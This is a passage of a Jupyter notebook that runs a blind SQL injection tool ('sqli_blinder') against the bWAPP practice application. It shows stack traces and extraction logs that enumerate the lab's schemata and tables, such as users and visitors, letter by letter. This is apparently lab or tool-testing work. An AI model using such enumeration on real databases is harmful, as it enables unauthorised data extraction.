\u001b[38;5;66;03m# cases, and look like a memory leak in others.\u001b[39;00m\n\u001b[1;32m 60\u001b[0m \u001b[38;5;28;01mwith\u001b[39;00m sessions\u001b[38;5;241m.\u001b[39mSession() \u001b[38;5;28;01mas\u001b[39;00m session:\n\u001b[0;32m---> 61\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[43msession\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[43m(\u001b[49m\u001b[43mmethod\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mmethod\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43mkwargs\u001b[49m\u001b[43m)\u001b[49m\n", 180 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/sessions.py:529\u001b[0m, in \u001b[0;36mSession.request\u001b[0;34m(self, method, url, params, data, headers, cookies, files, auth, timeout, allow_redirects, proxies, hooks, stream, verify, cert, json)\u001b[0m\n\u001b[1;32m 524\u001b[0m send_kwargs \u001b[38;5;241m=\u001b[39m {\n\u001b[1;32m 525\u001b[0m \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mtimeout\u001b[39m\u001b[38;5;124m'\u001b[39m: timeout,\n\u001b[1;32m 526\u001b[0m \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mallow_redirects\u001b[39m\u001b[38;5;124m'\u001b[39m: allow_redirects,\n\u001b[1;32m 527\u001b[0m }\n\u001b[1;32m 528\u001b[0m send_kwargs\u001b[38;5;241m.\u001b[39mupdate(settings)\n\u001b[0;32m--> 529\u001b[0m resp \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43msend\u001b[49m\u001b[43m(\u001b[49m\u001b[43mprep\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43msend_kwargs\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 531\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m resp\n", 181 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/sessions.py:645\u001b[0m, in \u001b[0;36mSession.send\u001b[0;34m(self, request, **kwargs)\u001b[0m\n\u001b[1;32m 642\u001b[0m start \u001b[38;5;241m=\u001b[39m preferred_clock()\n\u001b[1;32m 644\u001b[0m \u001b[38;5;66;03m# Send the request\u001b[39;00m\n\u001b[0;32m--> 645\u001b[0m r \u001b[38;5;241m=\u001b[39m \u001b[43madapter\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43msend\u001b[49m\u001b[43m(\u001b[49m\u001b[43mrequest\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[38;5;241;43m*\u001b[39;49m\u001b[43mkwargs\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 647\u001b[0m \u001b[38;5;66;03m# Total elapsed time of the request (approximately)\u001b[39;00m\n\u001b[1;32m 648\u001b[0m elapsed \u001b[38;5;241m=\u001b[39m preferred_clock() \u001b[38;5;241m-\u001b[39m start\n", 182 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/requests-2.27.1-py3.9.egg/requests/adapters.py:440\u001b[0m, in \u001b[0;36mHTTPAdapter.send\u001b[0;34m(self, request, stream, timeout, verify, cert, proxies)\u001b[0m\n\u001b[1;32m 438\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[1;32m 439\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m chunked:\n\u001b[0;32m--> 440\u001b[0m resp \u001b[38;5;241m=\u001b[39m \u001b[43mconn\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43murlopen\u001b[49m\u001b[43m(\u001b[49m\n\u001b[1;32m 441\u001b[0m \u001b[43m \u001b[49m\u001b[43mmethod\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mmethod\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 442\u001b[0m \u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 443\u001b[0m \u001b[43m \u001b[49m\u001b[43mbody\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mbody\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 444\u001b[0m \u001b[43m \u001b[49m\u001b[43mheaders\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mrequest\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mheaders\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 445\u001b[0m \u001b[43m \u001b[49m\u001b[43mredirect\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 446\u001b[0m \u001b[43m \u001b[49m\u001b[43massert_same_host\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 447\u001b[0m \u001b[43m \u001b[49m\u001b[43mpreload_content\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 448\u001b[0m \u001b[43m \u001b[49m\u001b[43mdecode_content\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43;01mFalse\u001b[39;49;00m\u001b[43m,\u001b[49m\n\u001b[1;32m 449\u001b[0m \u001b[43m \u001b[49m\u001b[43mretries\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mmax_retries\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 450\u001b[0m \u001b[43m \u001b[49m\u001b[43mtimeout\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mtimeout\u001b[49m\n\u001b[1;32m 451\u001b[0m \u001b[43m \u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 453\u001b[0m \u001b[38;5;66;03m# Send the request.\u001b[39;00m\n\u001b[1;32m 454\u001b[0m \u001b[38;5;28;01melse\u001b[39;00m:\n\u001b[1;32m 455\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;28mhasattr\u001b[39m(conn, \u001b[38;5;124m'\u001b[39m\u001b[38;5;124mproxy_pool\u001b[39m\u001b[38;5;124m'\u001b[39m):\n", 183 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/urllib3/connectionpool.py:703\u001b[0m, in \u001b[0;36mHTTPConnectionPool.urlopen\u001b[0;34m(self, method, url, body, headers, retries, redirect, assert_same_host, timeout, pool_timeout, release_conn, chunked, body_pos, **response_kw)\u001b[0m\n\u001b[1;32m 700\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39m_prepare_proxy(conn)\n\u001b[1;32m 702\u001b[0m \u001b[38;5;66;03m# Make the request on the httplib connection object.\u001b[39;00m\n\u001b[0;32m--> 703\u001b[0m httplib_response \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43m_make_request\u001b[49m\u001b[43m(\u001b[49m\n\u001b[1;32m 704\u001b[0m \u001b[43m \u001b[49m\u001b[43mconn\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 705\u001b[0m \u001b[43m \u001b[49m\u001b[43mmethod\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 706\u001b[0m \u001b[43m \u001b[49m\u001b[43murl\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 707\u001b[0m \u001b[43m \u001b[49m\u001b[43mtimeout\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mtimeout_obj\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 708\u001b[0m \u001b[43m \u001b[49m\u001b[43mbody\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mbody\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 709\u001b[0m \u001b[43m \u001b[49m\u001b[43mheaders\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mheaders\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 710\u001b[0m \u001b[43m \u001b[49m\u001b[43mchunked\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mchunked\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 711\u001b[0m \u001b[43m\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 713\u001b[0m \u001b[38;5;66;03m# If we're going to release the connection in ``finally:``, then\u001b[39;00m\n\u001b[1;32m 714\u001b[0m \u001b[38;5;66;03m# the response doesn't need to know about the connection. Otherwise\u001b[39;00m\n\u001b[1;32m 715\u001b[0m \u001b[38;5;66;03m# it will also try to release it and we'll have a double-release\u001b[39;00m\n\u001b[1;32m 716\u001b[0m \u001b[38;5;66;03m# mess.\u001b[39;00m\n\u001b[1;32m 717\u001b[0m response_conn \u001b[38;5;241m=\u001b[39m conn \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;129;01mnot\u001b[39;00m release_conn \u001b[38;5;28;01melse\u001b[39;00m \u001b[38;5;28;01mNone\u001b[39;00m\n", 184 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/urllib3/connectionpool.py:449\u001b[0m, in \u001b[0;36mHTTPConnectionPool._make_request\u001b[0;34m(self, conn, method, url, timeout, chunked, **httplib_request_kw)\u001b[0m\n\u001b[1;32m 444\u001b[0m httplib_response \u001b[38;5;241m=\u001b[39m conn\u001b[38;5;241m.\u001b[39mgetresponse()\n\u001b[1;32m 445\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mBaseException\u001b[39;00m \u001b[38;5;28;01mas\u001b[39;00m e:\n\u001b[1;32m 446\u001b[0m \u001b[38;5;66;03m# Remove the TypeError from the exception chain in\u001b[39;00m\n\u001b[1;32m 447\u001b[0m \u001b[38;5;66;03m# Python 3 (including for exceptions like SystemExit).\u001b[39;00m\n\u001b[1;32m 448\u001b[0m \u001b[38;5;66;03m# Otherwise it looks like a bug in the code.\u001b[39;00m\n\u001b[0;32m--> 449\u001b[0m \u001b[43msix\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mraise_from\u001b[49m\u001b[43m(\u001b[49m\u001b[43me\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;28;43;01mNone\u001b[39;49;00m\u001b[43m)\u001b[49m\n\u001b[1;32m 450\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m (SocketTimeout, BaseSSLError, SocketError) \u001b[38;5;28;01mas\u001b[39;00m e:\n\u001b[1;32m 451\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39m_raise_timeout(err\u001b[38;5;241m=\u001b[39me, url\u001b[38;5;241m=\u001b[39murl, timeout_value\u001b[38;5;241m=\u001b[39mread_timeout)\n", 185 | "File \u001b[0;32m:3\u001b[0m, in \u001b[0;36mraise_from\u001b[0;34m(value, from_value)\u001b[0m\n", 186 | "File \u001b[0;32m/opt/homebrew/lib/python3.9/site-packages/urllib3/connectionpool.py:444\u001b[0m, in \u001b[0;36mHTTPConnectionPool._make_request\u001b[0;34m(self, conn, method, url, timeout, chunked, **httplib_request_kw)\u001b[0m\n\u001b[1;32m 441\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mTypeError\u001b[39;00m:\n\u001b[1;32m 442\u001b[0m \u001b[38;5;66;03m# Python 3\u001b[39;00m\n\u001b[1;32m 443\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[0;32m--> 444\u001b[0m httplib_response \u001b[38;5;241m=\u001b[39m \u001b[43mconn\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mgetresponse\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 445\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mBaseException\u001b[39;00m \u001b[38;5;28;01mas\u001b[39;00m e:\n\u001b[1;32m 446\u001b[0m \u001b[38;5;66;03m# Remove the TypeError from the exception chain in\u001b[39;00m\n\u001b[1;32m 447\u001b[0m \u001b[38;5;66;03m# Python 3 (including for exceptions like SystemExit).\u001b[39;00m\n\u001b[1;32m 448\u001b[0m \u001b[38;5;66;03m# Otherwise it looks like a bug in the code.\u001b[39;00m\n\u001b[1;32m 449\u001b[0m six\u001b[38;5;241m.\u001b[39mraise_from(e, \u001b[38;5;28;01mNone\u001b[39;00m)\n", 187 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/client.py:1377\u001b[0m, in \u001b[0;36mHTTPConnection.getresponse\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 1375\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[1;32m 1376\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[0;32m-> 1377\u001b[0m \u001b[43mresponse\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mbegin\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 1378\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m \u001b[38;5;167;01mConnectionError\u001b[39;00m:\n\u001b[1;32m 1379\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mclose()\n", 188 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/client.py:320\u001b[0m, in \u001b[0;36mHTTPResponse.begin\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 318\u001b[0m \u001b[38;5;66;03m# read until we get a non-100 response\u001b[39;00m\n\u001b[1;32m 319\u001b[0m \u001b[38;5;28;01mwhile\u001b[39;00m \u001b[38;5;28;01mTrue\u001b[39;00m:\n\u001b[0;32m--> 320\u001b[0m version, status, reason \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43m_read_status\u001b[49m\u001b[43m(\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 321\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m status \u001b[38;5;241m!=\u001b[39m CONTINUE:\n\u001b[1;32m 322\u001b[0m \u001b[38;5;28;01mbreak\u001b[39;00m\n", 189 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/http/client.py:281\u001b[0m, in \u001b[0;36mHTTPResponse._read_status\u001b[0;34m(self)\u001b[0m\n\u001b[1;32m 280\u001b[0m \u001b[38;5;28;01mdef\u001b[39;00m \u001b[38;5;21m_read_status\u001b[39m(\u001b[38;5;28mself\u001b[39m):\n\u001b[0;32m--> 281\u001b[0m line \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mstr\u001b[39m(\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mfp\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mreadline\u001b[49m\u001b[43m(\u001b[49m\u001b[43m_MAXLINE\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m+\u001b[39;49m\u001b[43m \u001b[49m\u001b[38;5;241;43m1\u001b[39;49m\u001b[43m)\u001b[49m, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124miso-8859-1\u001b[39m\u001b[38;5;124m\"\u001b[39m)\n\u001b[1;32m 282\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;28mlen\u001b[39m(line) \u001b[38;5;241m>\u001b[39m _MAXLINE:\n\u001b[1;32m 283\u001b[0m \u001b[38;5;28;01mraise\u001b[39;00m LineTooLong(\u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mstatus line\u001b[39m\u001b[38;5;124m\"\u001b[39m)\n", 190 | "File \u001b[0;32m/opt/homebrew/Cellar/python@3.9/3.9.10/Frameworks/Python.framework/Versions/3.9/lib/python3.9/socket.py:704\u001b[0m, in \u001b[0;36mSocketIO.readinto\u001b[0;34m(self, b)\u001b[0m\n\u001b[1;32m 702\u001b[0m \u001b[38;5;28;01mwhile\u001b[39;00m \u001b[38;5;28;01mTrue\u001b[39;00m:\n\u001b[1;32m 703\u001b[0m \u001b[38;5;28;01mtry\u001b[39;00m:\n\u001b[0;32m--> 704\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43m_sock\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mrecv_into\u001b[49m\u001b[43m(\u001b[49m\u001b[43mb\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 705\u001b[0m \u001b[38;5;28;01mexcept\u001b[39;00m timeout:\n\u001b[1;32m 706\u001b[0m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39m_timeout_occurred \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;01mTrue\u001b[39;00m\n", 191 | "\u001b[0;31mKeyboardInterrupt\u001b[0m: " 192 | ] 193 | } 194 | ], 195 | "source": [ 196 | "sqlib.get_schemata()" 197 | ] 198 | }, 199 | { 200 | "cell_type": "code", 201 | "execution_count": 9, 202 | "metadata": {}, 203 | "outputs": [ 204 | { 205 | "name": "stderr", 206 | "output_type": "stream", 207 | "text": [ 208 | "WARNING:root:['blog']\n", 209 | "WARNING:root:['heroes']\n", 210 | "WARNING:root:['movies']\n" 211 | ] 212 | }, 213 | { 214 | "name": "stdout", 215 | "output_type": "stream", 216 | "text": [ 217 | "Stats for symbol ['l', 'e', 'o']\n", 218 | "Stats for symbol ['o', 'r', 'v']\n", 219 | "Stats for symbol ['g', 'o', 'i']\n", 220 | "Stats for symbol [None, 'e', 'e']\n", 221 | "Stats for symbol [None, 's', 's']\n", 222 | "Stats for symbol [None, None, None]\n", 223 | "Stats for symbol [None, None, None]\n", 224 | "Stats for symbol [None, None, None]\n", 225 | "Stats for symbol [None, None, None]\n", 226 | "Stats for symbol [None, None, None]\n", 227 | "Stats for symbol [None, None, None]\n", 228 | "Stats for symbol [None, None, None]\n", 229 | "Stats for symbol [None, None, None]\n", 230 | "Stats for symbol [None, None, None]\n", 231 | "Stats for symbol [None, None, None]\n", 232 | "Stats for symbol [None, None, None]\n" 233 | ] 234 | }, 235 | { 236 | "name": "stderr", 237 | "output_type": "stream", 238 | "text": [ 239 | "WARNING:root:['sqli_blinder_test']\n" 240 | ] 241 | }, 242 | { 243 | "name": "stdout", 244 | "output_type": "stream", 245 | "text": [ 246 | "Stats for symbol [None, None, None]\n", 247 | "Stats for symbol ['l', 'e', 'o', 'q']\n", 248 | "Stats for symbol ['o', 'r', 'v', 'l']\n", 249 | "Stats for symbol ['g', 'o', 'i', 'i']\n", 250 | "Stats for symbol [None, 'e', 'e', '_']\n", 251 | "Stats for symbol [None, 's', 's', 'b']\n" 252 | ] 253 | }, 254 | { 255 | "name": "stderr", 256 | "output_type": "stream", 257 | "text": [ 258 | "WARNING:root:['users']\n" 259 | ] 260 | }, 261 | { 262 | "name": "stdout", 263 | "output_type": "stream", 264 | "text": [ 265 | "Stats for symbol ['l', 'e', 'o', 'q', 's']\n", 266 | "Stats for symbol ['o', 'r', 'v', 'l', 'e']\n", 267 | "Stats for symbol ['g', 'o', 'i', 'i', 'r']\n", 268 | "Stats for symbol [None, 'e', 'e', '_', 's']\n", 269 | "Stats for symbol [None, 's', 's', 'b', None]\n", 270 | "Stats for symbol [None, None, None, 'l', None]\n", 271 | "Stats for symbol [None, None, None, 'i', None]\n" 272 | ] 273 | }, 274 | { 275 | "name": "stderr", 276 | "output_type": "stream", 277 | "text": [ 278 | "WARNING:root:['visitors']\n" 279 | ] 280 | }, 281 | { 282 | "name": "stdout", 283 | "output_type": "stream", 284 | "text": [ 285 | "Stats for symbol [None, None, None, 'n', None]\n" 286 | ] 287 | }, 288 | { 289 | "data": { 290 | "text/plain": [ 291 | "[['blog'],\n", 292 | " ['heroes'],\n", 293 | " ['movies'],\n", 294 | " ['sqli_blinder_test'],\n", 295 | " ['users'],\n", 296 | " ['visitors']]" 297 | ] 298 | }, 299 | "execution_count": 9, 300 | "metadata": {}, 301 | "output_type": "execute_result" 302 | } 303 | ], 304 | "source": [ 305 | "sqlib.get_tables('bWAPP',alphabet=string.ascii_lowercase)" 306 | ] 307 | }, 308 | { 309 | "cell_type": "code", 310 | "execution_count": 6, 311 | "metadata": { 312 | "collapsed": true 313 | }, 314 | "outputs": [ 315 | { 316 | "name": "stderr", 317 | "output_type": "stream", 318 | "text": [ 319 | "WARNING:root:['id']\n" 320 | ] 321 | }, 322 | { 323 | "ename": "KeyboardInterrupt", 324 | "evalue": "", 325 | "output_type": "error", 326 | "traceback": [ 327 | "\u001b[0;31m---------------------------------------------------------------------------\u001b[0m", 328 | "\u001b[0;31mKeyboardInterrupt\u001b[0m Traceback (most recent call last)", 329 | "Input \u001b[0;32mIn [6]\u001b[0m, in \u001b[0;36m\u001b[0;34m()\u001b[0m\n\u001b[0;32m----> 1\u001b[0m \u001b[43msqlib\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_columns\u001b[49m\u001b[43m(\u001b[49m\u001b[38;5;124;43m'\u001b[39;49m\u001b[38;5;124;43msqli_blinder_test\u001b[39;49m\u001b[38;5;124;43m'\u001b[39;49m\u001b[43m)\u001b[49m\n", 330 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:322\u001b[0m, in \u001b[0;36mSQLiBlinder.get_columns\u001b[0;34m(self, table_name, alphabet)\u001b[0m\n\u001b[1;32m 320\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;28mhasattr\u001b[39m(\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mdbms, \u001b[38;5;124m\"\u001b[39m\u001b[38;5;124mcolumns_query\u001b[39m\u001b[38;5;124m\"\u001b[39m):\n\u001b[1;32m 321\u001b[0m \tcolumn, table, where \u001b[38;5;241m=\u001b[39m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mdbms\u001b[38;5;241m.\u001b[39mcolumns_query\n\u001b[0;32m--> 322\u001b[0m \tcolumns \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget\u001b[49m\u001b[43m(\u001b[49m\n\u001b[1;32m 323\u001b[0m \u001b[43m\t\t\u001b[49m\u001b[43m[\u001b[49m\u001b[43mcolumn\u001b[49m\u001b[43m]\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mtable\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mwhere\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mwhere\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mformat\u001b[49m\u001b[43m(\u001b[49m\u001b[43mtable_name\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43mtable_name\u001b[49m\u001b[43m)\u001b[49m\u001b[43m,\u001b[49m\u001b[43malphabet\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43malphabet\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 324\u001b[0m \t\u001b[38;5;28;01mreturn\u001b[39;00m [x[\u001b[38;5;241m0\u001b[39m] \u001b[38;5;28;01mfor\u001b[39;00m x \u001b[38;5;129;01min\u001b[39;00m columns]\n\u001b[1;32m 325\u001b[0m \u001b[38;5;28;01melse\u001b[39;00m:\n", 331 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:271\u001b[0m, in \u001b[0;36mSQLiBlinder.get\u001b[0;34m(self, columns, table_name, where, order_by, alphabet)\u001b[0m\n\u001b[1;32m 269\u001b[0m cs \u001b[38;5;241m=\u001b[39m []\n\u001b[1;32m 270\u001b[0m \u001b[38;5;28;01mfor\u001b[39;00m column \u001b[38;5;129;01min\u001b[39;00m columns:\n\u001b[0;32m--> 271\u001b[0m \tvalue \u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_string\u001b[49m\u001b[43m(\u001b[49m\u001b[43mtable_name\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mcolumn\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mi\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m+\u001b[39;49m\u001b[43m \u001b[49m\u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mdbms\u001b[49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43moffset_shift\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mwhere\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43morder_by\u001b[49m\u001b[43m,\u001b[49m\u001b[43malphabet\u001b[49m\u001b[38;5;241;43m=\u001b[39;49m\u001b[43malphabet\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 272\u001b[0m \t\u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mstatistics\u001b[38;5;241m.\u001b[39mlog(table_name,column,value)\n\u001b[1;32m 273\u001b[0m \tcs\u001b[38;5;241m.\u001b[39mappend(value)\n", 332 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:248\u001b[0m, in \u001b[0;36mSQLiBlinder.get_string\u001b[0;34m(self, table_name, column_name, index, where, order_by, alphabet)\u001b[0m\n\u001b[1;32m 244\u001b[0m \t\t\tr \u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m \u001b[38;5;28mself\u001b[39m\u001b[38;5;241m.\u001b[39mget_char(table_name, column_name,\n\u001b[1;32m 245\u001b[0m \t\t\t\t\t index, i \u001b[38;5;241m+\u001b[39m \u001b[38;5;241m1\u001b[39m, where, order_by, chars\u001b[38;5;241m.\u001b[39mkeys())\n\u001b[1;32m 246\u001b[0m \t\t\u001b[38;5;28;01melse\u001b[39;00m:\n\u001b[1;32m 247\u001b[0m \t\t\t\u001b[38;5;66;03m#not enough\u001b[39;00m\n\u001b[0;32m--> 248\u001b[0m \t\t\tr \u001b[38;5;241m+\u001b[39m\u001b[38;5;241m=\u001b[39m \u001b[38;5;28;43mself\u001b[39;49m\u001b[38;5;241;43m.\u001b[39;49m\u001b[43mget_char\u001b[49m\u001b[43m(\u001b[49m\u001b[43mtable_name\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mcolumn_name\u001b[49m\u001b[43m,\u001b[49m\n\u001b[1;32m 249\u001b[0m \u001b[43m\t\t\t\t\t \u001b[49m\u001b[43mindex\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mi\u001b[49m\u001b[43m \u001b[49m\u001b[38;5;241;43m+\u001b[39;49m\u001b[43m \u001b[49m\u001b[38;5;241;43m1\u001b[39;49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mwhere\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43morder_by\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43malphabet\u001b[49m\u001b[43m)\u001b[49m\n\u001b[1;32m 251\u001b[0m \t\u001b[38;5;66;03m# print r\u001b[39;00m\n\u001b[1;32m 252\u001b[0m \u001b[38;5;28;01mreturn\u001b[39;00m r \u001b[38;5;241m+\u001b[39m suffix\n", 333 | "File \u001b[0;32m~/tools/sqli_blinder/sqli_blinder/blinder.py:211\u001b[0m, in \u001b[0;36mSQLiBlinder.get_char\u001b[0;34m(self, table_name, column_name, index, str_pos, where, order_by, alphabet)\u001b[0m\n\u001b[1;32m 209\u001b[0m \u001b[38;5;28;01mif\u001b[39;00m res_found\u001b[38;5;241m==\u001b[39m\u001b[38;5;28;01mFalse\u001b[39;00m:\n\u001b[1;32m 210\u001b[0m \t\u001b[38;5;28;01mif\u001b[39;00m alphabet \u001b[38;5;129;01mis\u001b[39;00m \u001b[38;5;28;01mNone\u001b[39;00m:\n\u001b[0;32m--> 211\u001b[0m \t\tres \u001b[38;5;241m=\u001b[39m 